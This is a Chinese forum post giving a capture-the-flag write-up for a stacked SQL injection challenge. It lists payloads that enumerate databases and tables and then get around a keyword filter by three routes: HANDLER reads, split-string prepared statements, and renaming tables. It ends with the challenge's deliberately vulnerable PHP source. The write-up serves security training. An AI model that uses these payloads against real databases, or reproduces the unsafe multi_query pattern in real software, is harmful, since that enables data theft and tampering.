登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
[强网杯 2019]随便注 考点:堆叠注入
输入:
[SQL] 纯文本查看 复制代码 1 union select 1,2#
报错
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);说明过滤掉了这几个关键词
猜测这里的MySQL语句结构应该是:
[SQL] 纯文本查看 复制代码 select * from words where id='$inject';
构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可 先列出所有数据库:
[SQL] 纯文本查看 复制代码 1';show databases;#
得到: [Plain Text] 纯文本查看 复制代码 array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
选择数据库:
[SQL] 纯文本查看 复制代码 1';use supersqli;#
查询supersqli库中的所有表:
[SQL] 纯文本查看 复制代码 1';show tables;#
得到:
[Plain Text] 纯文本查看 复制代码 array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询1919810931114514表中的字段(这里需要注意的是,如果表名是纯数字需要用反引号包裹,不然不会出现回显): [SQL] 纯文本查看 复制代码 1';show columns from `1919810931114514`;# [SQL] 纯文本查看 复制代码 1';desc `1919810931114514`;#
得到: [Plain Text] 纯文本查看 复制代码 array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
以上是正常的步骤,但是准备用select查询flag时发现了过滤,过滤掉了select、update、delete、drop、insert、where: 下面开始讲解获取flag的三种方法:
方法一、handler语句代替select查询: mysql中有个handler语句可以代替select部分功能
这个方法在i春秋GYCTF中本题的升级版(多过滤了prepare、set、rename,显然前两种方法都不适用)中亮相 [SQL] 纯文本查看 复制代码 1';handler `1919810931114514` open;handler `1919810931114514` read next; [SQL] 纯文本查看 复制代码 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;# [SQL] 纯文本查看 复制代码 1';handler `1919810931114514` open as ye; //同样的,这里的表名因为是纯数字所以需要用反引号包裹
handler ye read first;
handler ye close;# //注意:这里必须close handler才可以获取Flag
这里附上handler的用法: [SQL] 纯文本查看 复制代码 HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
e.g: 通过handler语句查询users表的内容: [SQL] 纯文本查看 复制代码 handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
方法二、预编译或称储存过程绕过(利用prepare语句): 预编译相关语法如下: [Plain Text] 纯文本查看 复制代码 set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
payload [SQL] 纯文本查看 复制代码 1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
1';
set @sql = CONCAT('se','lect * from `1919810931114514`;'); //字符串拼接绕过select过滤
prepare stmt from @sql;
EXECUTE stmt;#
strstr这个函数并不能区分大小写,我们将payload其大写即可 [SQL] 纯文本查看 复制代码 1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;#
方法三、重命名绕过(利用alter语句与rename语句): 修改表名和列名的语法如下: [Plain Text] 纯文本查看 复制代码 修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
payload [SQL] 纯文本查看 复制代码 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
执行完上述请求再请求1' or 1=1#即可获得Flag 就能查询到1919810931114514改名成words的内容了
做完题之后分析一下源码: [PHP] 纯文本查看 复制代码 <html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){
do{
if ($rs = $mysqli->store_result()){
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close();
if ($mysqli->more_results()){
echo "<hr>";
}
}
}while($mysqli->next_result());
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close();
}
?>
</pre>
</body>
</html>
堆叠注入的成因在这里:
[SQL] 纯文本查看 复制代码 $res = $mysqli->multi_query($sql);
这里的multi_query()可以执行一条或多条sql语句,从而导致了堆叠注入的产生。
参考:
1. https://blog.csdn.net/weixin_46439278/article/details/118091075
2. https://www.cnblogs.com/yesec/p/12381210.html
|